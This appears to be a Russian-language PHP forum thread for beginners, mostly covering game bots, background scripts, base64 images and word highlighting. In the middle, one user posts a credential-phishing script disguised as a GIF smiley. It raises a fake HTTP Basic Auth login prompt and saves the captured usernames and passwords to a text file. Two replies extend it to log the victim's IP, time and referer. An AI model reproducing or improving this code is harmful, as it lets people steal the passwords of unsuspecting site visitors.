[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. n3m0

    n3m0 Elder - Старейшина

    Joined:
    11 May 2007
    Messages:
    133
    Likes Received:
    92
    Reputations:
    11
    Допустим маленький пример бота:

    PHP:
    БОт по имени Алах ходит по заданому маршруту;
    Если он встречает пользователя 
    {
        
    то идёт запрос на драку;
        
    Если пользователь отклоняет 
             Алах идёт дальше
    ;
        
    Иначе  
        
    {
             
    начать драку(у бота установлены какието параметры)
        }
    }
    Бот движется дальше.... 
    и так по цыклу.
    Всё это контролируется в БД:
    Вставляются промежуточные записи типа: где сейчас бот. с кем драка и тд
     
  2. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    почему? крон запустил скрипт, который при опред. условиях поменял координаты бота - вот и движение. в другом случае юзер заходит в игру и автоматом запускается скрипт, который опять же по опред. условиям что-либо совершает.
    также бота и на форум можно поставить, который будет постить что-либо в свежих темах, учитывая их контент, раздел и автора.
     
  3. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    тьфу блин, пока пишешь перед тобой пять человек отпостятся %)
     
  4. Meanor

    Meanor Elder - Старейшина

    Joined:
    9 Sep 2007
    Messages:
    66
    Likes Received:
    9
    Reputations:
    0
    Проблема в том, как это осущевствить без вмешательства в процесс администратора или пользователя.

    Почитал про крон, спасибо конечно, но до таких прав на сервере мне пока еще далеко...
     
  5. n3m0

    n3m0 Elder - Старейшина

    Joined:
    11 May 2007
    Messages:
    133
    Likes Received:
    92
    Reputations:
    11
    PHP:
    <?php
    ignore_user_abort
    (); // run script in background
    set_time_limit(0); // run script forever
    $interval=60*15// do every 15 minutes...
    do{
       
    // тело скрипта который будет повторятся каждые 15 минут
       // ...
       
    sleep($interval); // wait 15 minutes
    }while(true);
    ?>
    Этот скипт вызываеш из админки и всё - боты начали свое действие
     
    1 person likes this.
  6. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    n3m0,
    int ignore_user_abort ([ bool $setting ] )

    If not set $setting will only return the current settiing!!!!
     
  7. n3m0

    n3m0 Elder - Старейшина

    Joined:
    11 May 2007
    Messages:
    133
    Likes Received:
    92
    Reputations:
    11
    Точно! Не на всех хостингах работает!
    Но если ты хочеш держать онлайн игру, то лучше использовать свой дедик. Сам его настроиш и кроном сможеш пользоватся
     
  8. Meanor

    Meanor Elder - Старейшина

    Joined:
    9 Sep 2007
    Messages:
    66
    Likes Received:
    9
    Reputations:
    0
    n3m0

    В общем для таких вещей нужно иметь свой собственный сервер...

    Спасибо всем, кто помог мне разобраться с моей проблемой :)
     
  9. xaker-boss

    xaker-boss Elder - Старейшина

    Joined:
    6 Mar 2007
    Messages:
    251
    Likes Received:
    49
    Reputations:
    -11
    Народ, вот есть такой скрипт:
    PHP:
    <?
    //делаем скрипт картинкой
    header("Content-type: image/gif");
    //делаем изображение смайликом из архива
    $image imagecreatefromgif('mellow.gif');
    if(!
    $_COOKIE['LOGON'])
    {
     
    $login $_SERVER['PHP_AUTH_USER'];
     
    $pass  $_SERVER['PHP_AUTH_PW'];
     
    //Авторизация пройдёт, если пароль больше 3-ёх символов и вообще написан логин
     
    if(strlen($pass) <= || !$login)
     {
      
    Header('HTTP/1.1 401 Unauthorized');
      
    Header('WWW-Authenticate: Basic realm="freshmp3.ru - login"');
     }
     elseif(
    $login)
     {
      
    //ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
      
    setcookie('LOGON',md5($pass));
      
    //запишем пароли в файл
      
    $f fopen('passwords.txt''ab'); //passwords.txt
      
    fwrite($f$login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
      
    fclose($f);
     }
    }
    imagegif($image);
    imagedestroy($image);
    ?>
    как сделать так чтобы в фаил passwords.txt записывались данные в таком виде:
    (Время восколько были записанны данные в фаил) : (Сайт откуда запустили mellow.gif или этот скрипт):логин:парль
    Люди кому не лень попробуйте сделать плиз
     
  10. scrat

    scrat кодер

    Joined:
    8 Apr 2007
    Messages:
    625
    Likes Received:
    541
    Reputations:
    3
    когда записываешь(строка 22):
    PHP:
      fwrite($f,$_SERVER['REMOTE_ADDR']." : ".$login." : ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
     
    1 person likes this.
  11. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    PHP:
      fwrite($fdate("h:i:s")." > REFERER: ".getenv("HTTP_REFERER")." = ".$login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD 
    2scrat ... Помойму он просил время и реферер
     
    2 people like this.
  12. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Привет всем. У меня есть base64 картинки.
    Каким образом мне ёё показать?
     
  13. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    base64_decode
     
  14. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    PHP:
    $img='base64==';
    header ("Content-type: image/gif");// если gif
    echo(base64_decode($img));
     
    1 person likes this.
  15. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Как вариант:
    PHP:
    $f "base64";
    $s fopen("myimage.gif","w");
    fwrite($s,base64_decode($f));
    fclose($s);
     
  16. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Так как написал Макро, обезательна gd? а то я тож так делал, а мне ничевою ТОка знак картинки
     
  17. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Нет, gd тут не нужна вообще
     
  18. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Тут и пхп не нужен.
    Стандарт HTML 4.0
    Code:
    <img src="data:image/png;base64, kod_kartinki_base64=="  />
     
  19. 0x31337

    0x31337 Elder - Старейшина

    Joined:
    27 Sep 2007
    Messages:
    36
    Likes Received:
    19
    Reputations:
    -5
    Подскажите пожалуйста, как с помощью пхп осуществить подсветку слов цветом на страничке по маске. Например при генерации страницы выделить цветом все встречающиеся слова "tcp"? Спасибо.
     
  20. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    0x31337,
    PHP:
    <?php
    $text 
    str_replace('tcp''<font style="color:red">tcp</font>'$text);
    ?>
     
Thread Status:
Not open for further replies.